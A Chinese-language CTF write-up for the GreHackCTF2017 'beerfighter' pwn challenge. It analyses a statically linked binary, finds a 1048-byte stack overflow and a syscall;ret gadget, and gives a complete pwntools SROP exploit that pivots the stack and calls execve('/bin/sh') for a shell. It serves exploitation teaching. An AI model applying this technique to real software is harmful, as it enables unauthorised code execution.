6.1.5 pwn GreHackCTF2017 beerfighter
题目复现
$ file game
game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
$ checksec -f game
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 game
64 位，静态链接，stripped。
既然是个小游戏，先玩一下，然后发现，进入 City Hall 后，有一个可以输入字符串的地方，然而即使我们什么也不输入，直接回车，在 Leave the town 时也会出现 Segmentation fault：
[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 1
Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
How should I call you?
[0] Tell him your name
[1] Leave
Type your action number > 0
Type your character name here >
...
[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 3
By !
Segmentation fault (core dumped)
题目解析
程序大概清楚了，看代码吧，经过一番搜索，发现了一个很有意思的函数：
[0x00400d8e]> pdf @ fcn.00400773
/ (fcn) fcn.00400773 15
| fcn.00400773 ();
| ; CALL XREF from 0x00400221 (fcn.004001f3)
| ; CALL XREF from 0x004002b6 (fcn.00400288)
| 0x00400773 4889f8 mov rax, rdi
| 0x00400776 4889f7 mov rdi, rsi
| 0x00400779 4889d6 mov rsi, rdx
| 0x0040077c 4889ca mov rdx, rcx
| 0x0040077f 0f05 syscall
\ 0x00400781 c3 ret
syscall;ret，你想到了什么，对，就是前面讲的 SROP。
其实前面的输入一个字符串，程序也是通过 syscall 来读入的，从函数 0x004004b8 开始仔细跟踪代码后就会知道，系统调用为 read()。
gdb-peda$ pattern_offset $ebp
1849771374 found at offset: 1040
缓冲区还挺大的，1040+8=1048。
漏洞利用
好，现在思路已经清晰了，先利用缓冲区溢出漏洞，用 syscall;ret 地址覆盖返回地址，通过 frame_1 调用 read() 读入 frame_2 到 .data 段（这个程序没有.bss，而且.data可写），然后将栈转移过去，调用 execve() 执行“/bin/sh”，从而拿到 shell。
构造 sigreturn：
$ ropgadget --binary game --only "pop|ret"
...
0x00000000004007b2 : pop rax ; ret
# sigreturn syscall
sigreturn = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
sigreturn += p64(syscall_addr)
然后是 frame_1，通过设定 frame_1.rsp = base_addr 来转移栈：
# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr # stack pivot
frame_1.rip = syscall_addr
frame_2 执行 execve()：
# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr
Bingo!!!
$ python2 exp.py
[*] '/home/firmy/Desktop/game'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './game': pid 12975
[*] Switching to interactive mode
By !
$ whoami
firmy
exploit
完整的 exp 如下：
from pwn import *
elf = ELF('./game')
io = process('./game')
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("> ")
io.sendline("0")
io.recvuntil("> ")
context.clear()
context.arch = "amd64"
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
base_addr = data_addr + 0x8 # new stack address
# useful gadget
pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
syscall_addr = 0x000000000040077f # syscall ;
# sigreturn syscall
sigreturn = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
sigreturn += p64(syscall_addr)
# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr
# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr # stack pivot
frame_1.rip = syscall_addr
payload_1 = "A" * 1048
payload_1 += sigreturn
payload_1 += str(frame_1)
io.sendline(payload_1)
io.recvuntil("> ")
io.sendline("3")
payload_2 = "/bin/sh\x00"
payload_2 += sigreturn
payload_2 += str(frame_2)
io.sendline(payload_2)
io.interactive()